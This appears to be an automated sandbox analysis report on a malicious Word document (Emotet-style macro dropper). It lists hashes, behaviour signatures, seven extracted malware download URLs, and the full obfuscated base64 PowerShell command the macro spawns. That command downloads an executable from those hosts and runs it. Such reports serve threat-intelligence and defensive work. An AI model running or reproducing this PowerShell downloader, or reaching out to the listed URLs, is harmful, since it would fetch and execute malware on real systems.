Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    117s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    17/05/2024, 02:52

General

  • Target

    4e1ccf17684fe7fe4a4811720588fdfe_JaffaCakes118.doc

  • Size

    199KB

  • MD5

    4e1ccf17684fe7fe4a4811720588fdfe

  • SHA1

    6a790d338afe38745015992aef59bad7adb75665

  • SHA256

    2a3ea762311e753fb5852bc82cd40914d7b01e256ad2eb2d93efd59c88e197e3

  • SHA512

    2db29585006ecf92bad364694de30d6ab6215e07402575cd260c4dd67e2a7184d967f72f1880dfb72ae7e95946a84b61e5423c4d44c2435ddffb4d145649a8f9

  • SSDEEP

    1536:04tcTv8kvjEuJ0dH5L0c4vs3ti18NmIIP4ovlnoR+a9fig7ix5EvGtaWWfjPYKwR:04tcTvjvTY140818tIP4ovpjLmGjo4

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://veccino56.com/gjpra/4ZR/

exe.dropper

http://girlgeekdinners.com/wp-content/Hpz/

exe.dropper

http://marblingmagpie.com/COPYRIGHT/Ak/

exe.dropper

http://aplicativoipok.net/wp-includes/ONW/

exe.dropper

http://ec2-52-56-233-157.eu-west-2.compute.amazonaws.com/wp-includes/35/

exe.dropper

https://shd7.life/mlktv/r6/

exe.dropper

https://www.hairlineunisexsalon.com/demo/UX/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4e1ccf17684fe7fe4a4811720588fdfe_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2196
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2256
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABUADgAeAB1AG4AdQAyAD0AKAAoACcARgAnACsAJwB2AGYAJwApACsAJwBsACcAKwAoACcAYgAnACsAJwB5ADcAJwApACkAOwAuACgAJwBuACcAKwAnAGUAdwAtAGkAdABlAG0AJwApACAAJABlAE4AdgA6AFUAUwBlAHIAcAByAG8AZgBJAGwAZQBcAEwAVwBmAHIAaAB4AFUAXABOAEwARgBrAFcANgAzAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQBSAGUAQwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwB1AHIAaQB0AGAAWQBQAGAAUgBPAGAAVABvAGAAQwBPAGwAIgAgAD0AIAAoACgAJwB0AGwAJwArACcAcwAxADIALAAnACkAKwAoACcAIAB0ACcAKwAnAGwAcwAnACkAKwAnADEAMQAnACsAKAAnACwAIAAnACsAJwB0AGwAcwAnACkAKQA7ACQAUQBpAHMAbwA0ADkAOAAgAD0AIAAoACcAVQBrACcAKwAnAGYAJwArACgAJwBqADAAJwArACcAYgB3ACcAKQApADsAJABXAHAAcgBzADQANgAwAD0AKAAnAE0ANAAnACsAKAAnAHkAOABsACcAKwAnAG4AZAAnACkAKQA7ACQAUABwADgAXwA1ADAAZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAFMAJwArACcAbgAnACsAJwBIAEwAJwArACcAdwBmAHIAaAB4AHUAJwArACcAUwBuAEgAJwApACsAKAAnAE4AbABmACcAKwAnAGsAJwApACsAJwB3ACcAKwAnADYAJwArACgAJwAzACcAKwAnAFMAbgAnACkAKwAnAEgAJwApAC0AcgBFAHAATABBAEMARQAoACcAUwBuACcAKwAnAEgAJwApACwAWwBDAEgAYQBSAF0AOQAyACkAKwAkAFEAaQBzAG8ANAA5ADgAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABXADQAagB3AHMAaQBxAD0AKAAnAEwAJwArACcANQBzACcAKwAoACcAbQB6ACcAKwAnAHQAMgAnACkAKQA7ACQAVgBqAHoAaAAwAGsAdAA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwAnACsAJwBiAGoAZQBjAHQAJwApACAAbgBlAHQALgBXAGUAYgBDAEwASQBFAE4AdAA7ACQASABtAGYANAB1AHQAYgA9ACgAKAAnAGgAJwArACcAdAB0AHAAJwApACsAKAAnADoALwAnACsAJwAvACcAKQArACgAJwB2AGUAJwArACcAYwAnACkAKwAnAGMAJwArACgAJwBpAG4AbwA1ADYALgBjACcAKwAnAG8AbQAvAGcAJwArACcAagAnACsAJwBwACcAKQArACcAcgAnACsAJwBhAC8AJwArACgAJwA0AFoAUgAvACoAaAB0AHQAJwArACcAcAA6AC8ALwAnACsAJwBnACcAKQArACgAJwBpAHIAbABnACcAKwAnAGUAJwApACsAKAAnAGUAawAnACsAJwBkACcAKQArACgAJwBpAG4AJwArACcAbgBlAHIAcwAuAGMAbwAnACsAJwBtACcAKQArACgAJwAvAHcAcAAtACcAKwAnAGMAbwBuAHQAJwArACcAZQBuAHQAJwApACsAJwAvACcAKwAnAEgAcAAnACsAJwB6ACcAKwAnAC8AJwArACgAJwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoAJwArACcALwAvACcAKQArACcAbQAnACsAJwBhACcAKwAnAHIAJwArACcAYgBsACcAKwAoACcAaQBuACcAKwAnAGcAJwApACsAKAAnAG0AJwArACcAYQBnAHAAaQAnACkAKwAoACcAZQAuAGMAJwArACcAbwAnACkAKwAoACcAbQAnACsAJwAvAEMAJwApACsAJwBPACcAKwAnAFAAJwArACcAWQAnACsAJwBSAEkAJwArACcARwBIACcAKwAnAFQAJwArACgAJwAvAEEAJwArACcAawAnACkAKwAoACcALwAqAGgAJwArACcAdAB0AHAAJwApACsAJwA6ACcAKwAoACcALwAvAGEAcABsAGkAYwAnACsAJwBhACcAKwAnAHQAaQAnACkAKwAnAHYAJwArACgAJwBvAGkAJwArACcAcABvACcAKQArACgAJwBrAC4AJwArACcAbgAnACkAKwAoACcAZQB0AC8AdwAnACsAJwBwACcAKQArACgAJwAtAGkAJwArACcAbgAnACkAKwAoACcAYwBsACcAKwAnAHUAJwApACsAJwBkAGUAJwArACgAJwBzAC8ATwBOAFcALwAqACcAKwAnAGgAJwArACcAdAAnACkAKwAnAHQAJwArACgAJwBwADoAJwArACcALwAnACkAKwAoACcALwBlAGMAJwArACcAMgAtACcAKQArACcANQAnACsAJwAyACcAKwAnAC0ANQAnACsAKAAnADYAJwArACcALQAyADMAMwAtACcAKQArACgAJwAxADUAJwArACcANwAuAGUAdQAtACcAKwAnAHcAZQBzAHQALQAnACkAKwAoACcAMgAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAnACsAJwBwAHUAJwApACsAJwB0AGUAJwArACcALgAnACsAKAAnAGEAbQBhAHoAJwArACcAbwAnACkAKwAoACcAbgAnACsAJwBhAHcAJwArACcAcwAuAGMAbwBtAC8AdwAnACsAJwBwAC0AaQBuAGMAJwApACsAJwBsAHUAJwArACcAZAAnACsAKAAnAGUAJwArACcAcwAvADMANQAvACoAaAB0ACcAKwAnAHQAcABzADoALwAvACcAKwAnAHMAJwApACsAKAAnAGgAJwArACcAZAA3AC4AJwApACsAKAAnAGwAJwArACcAaQBmACcAKwAnAGUALwBtAGwAawAnACkAKwAnAHQAJwArACgAJwB2ACcAKwAnAC8AcgA2ACcAKQArACgAJwAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0ACcAKwAnAHAAcwA6AC8ALwAnACsAJwB3AHcAJwApACsAJwB3AC4AJwArACgAJwBoAGEAaQAnACsAJwByAGwAaQBuACcAKQArACcAZQAnACsAJwB1ACcAKwAoACcAbgAnACsAJwBpAHMAJwApACsAKAAnAGUAeABzACcAKwAnAGEAJwArACcAbABvAG4ALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwBkACcAKQArACcAZQAnACsAJwBtACcAKwAnAG8ALwAnACsAJwBVACcAKwAnAFgAJwArACcALwAnACkALgAiAFMAcABMAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASAB6AHoAMABjAGkAdAA9ACgAKAAnAFAAJwArACcAbgA2AGoAJwApACsAKAAnAGEAMAAnACsAJwBiACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARwB6ADIAdgA2AGQAdAAgAGkAbgAgACQASABtAGYANAB1AHQAYgApAHsAdAByAHkAewAkAFYAagB6AGgAMABrAHQALgAiAGQATwBXAGAATgBMAG8AYQBgAGQAZgBpAGAAbABlACIAKAAkAEcAegAyAHYANgBkAHQALAAgACQAUABwADgAXwA1ADAAZgApADsAJABFAGoAbwBmADMAXwBxAD0AKAAnAFoAJwArACcAdwAnACsAKAAnAGMAJwArACcAXwBtAHgAZAAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABQAHAAOABfADUAMABmACkALgAiAGwAZQBOAGAARwBgAFQAaAAiACAALQBnAGUAIAAzADkAMAA2ADIAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAoACQAUABwADgAXwA1ADAAZgApADsAJABaAHcAdwB5AGYANQB4AD0AKAAoACcAWAAnACsAJwBhAGYAJwApACsAJwBvAGgAJwArACcANQBzACcAKQA7AGIAcgBlAGEAawA7ACQAQwBmAHEAZQB3ADgAbAA9ACgAJwBCAF8AJwArACgAJwByACcAKwAnAGcAdAAnACkAKwAnAGEAMAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFgAaABiAG4AcAAyAGEAPQAoACgAJwBUACcAKwAnADcANgAwAGwAJwApACsAJwBpADMAJwApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2460

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      3166c5acd0a12cad0f7324bb337f9a92

      SHA1

      e324b01a9f3cc0369e0da2e7348849bfaffb1e3c

      SHA256

      fac599c1bcb905a02e984913595f880b1e66f4c3c8bce0b4bdcf0871c079d7be

      SHA512

      21f1b079667f86a002b65e1d78a6e5fc13296cb9600b865cbede61663d7abd908bc7a0186e5365c3a1e0bb9f5edac3b45b8caa3acd0d3e415a6d933add14bda0

    • memory/2196-13-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-23-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-6-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-7-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-12-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-10-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-9-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-8-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-22-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-27-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-21-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-17-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-19-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-18-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-16-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-15-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-14-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-0-0x000000002FE41000-0x000000002FE42000-memory.dmp

      Filesize

      4KB

    • memory/2196-2-0x00000000717AD000-0x00000000717B8000-memory.dmp

      Filesize

      44KB

    • memory/2196-11-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-20-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-26-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-24-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-25-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-31-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-32-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-30-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-29-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-28-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-33-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-65-0x00000000717AD000-0x00000000717B8000-memory.dmp

      Filesize

      44KB

    • memory/2196-64-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2196-45-0x00000000717AD000-0x00000000717B8000-memory.dmp

      Filesize

      44KB

    • memory/2196-46-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-48-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2196-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2460-40-0x00000000028E0000-0x00000000028E8000-memory.dmp

      Filesize

      32KB

    • memory/2460-39-0x000000001B560000-0x000000001B842000-memory.dmp

      Filesize

      2.9MB